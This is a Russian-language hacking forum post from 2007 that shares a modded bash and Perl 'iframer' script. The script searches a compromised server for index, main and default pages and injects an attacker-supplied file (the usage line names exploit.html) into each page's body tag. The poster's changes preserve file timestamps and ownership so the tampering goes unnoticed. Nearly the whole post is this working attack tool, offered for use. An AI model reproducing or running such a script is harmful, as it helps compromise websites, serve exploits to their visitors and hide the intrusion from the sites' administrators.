
18.01.2007, 13:20
|
|
Новичок
Регистрация: 05.09.2006
Сообщений: 18
Провел на форуме: 706223
Репутация:
42
|
|
Вот..:)
Xорошый код, ифреймится, но я сделал пару фишек, которые мне казались нужными, чтобы получше фреймилось:
[+] body тэг теперь наxодится, если в нём прописаны какие то данные - например цвет
[+] не изменяется дата открытия/изменений файла
[+] не изменяется владелец модифицырованного файла
[+] пара мелкиx изменений по моему вкусу
Собственно сам код:
Код:
#!/bin/bash
if [ $UID != 0 ]; then
echo "[x]Need r00t :("; exit 1;
fi
check=`expr length "$1"`
if [ $check == 0 ]; then
echo "########################################"
echo "#Shadow iframer[local] (c)ode by Gh0s7#"
echo "# Moded By Sunb0rn #"
echo "########################################"
echo "#usage: ./sh-iframe.sh [iframe file] #"
echo "# ./sh-iframe.sh exploit.html #"
echo "########################################"
exit 1
fi
echo -n "[*]Searching for perl..."; which perl
if [ $? != 0 ]; then
echo "[x]No perl?"; exit
fi
echo -n "[*]Starting index finder...please wait..."
find / -name "index.htm*" 2> /dev/null > /tmp/found
find / -name "index.php" 2> /dev/null >> /tmp/found
find / -name "index.asp" 2> /dev/null >> /tmp/found
find / -name "main.htm*" 2> /dev/null >> /tmp/found
find / -name "main.php" 2> /dev/null >> /tmp/found
find / -name "main.asp" 2> /dev/null >> /tmp/found
find / -name "default.htm*" 2> /dev/null >> /tmp/found
find / -name "default.php" 2> /dev/null >> /tmp/found
find / -name "default.asp" 2> /dev/null >> /tmp/found
len=`cat /tmp/found| wc -l`
echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."
iframer='\n
while (<INPUT>) {
chomp; $file = $_;
$info = stat($file) or die "no $file: $!";
$t_uid = $info->uid;
$t_gid = $info->gid;
$t_atime = $info->atime;
$t_mtime = $info->mtime;
@res = split (/\//);
$len = 0;
$overwrite = 0;
foreach (@res) { $len++; }
open (FILE, "<$_") or die;
open (TMP, ">/tmp/$res[$len-1]") or die;
open (INJECT, "<$inject") or die;
sysread (INJECT, $code, 1024);
close (INJECT);
while (<FILE>){
print TMP $_;
if (/<body/){
if (/>/){print TMP $code;$overwrite = 1;}
}
}
close (TMP);
close (FILE);
if ($overwrite == 1){
system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
system ("./mv $file /tmp/$res[$len-1].bak");
system ("./mv /tmp/$res[$len-1] $file");
utime $t_atime, $t_mtime, $file;
system ("chown $t_uid:$t_gid $file");
}
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl
echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm
echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/index* /tmp/main* /tmp/default* /tmp/found iframer.pl
echo "[*] Finished"
exit 0
Пока в нём не xватает только, чтобы проверял на присутствие другиx фреймов, удаления или иx замены своим кодом, но это как то в будущем.
|
|
|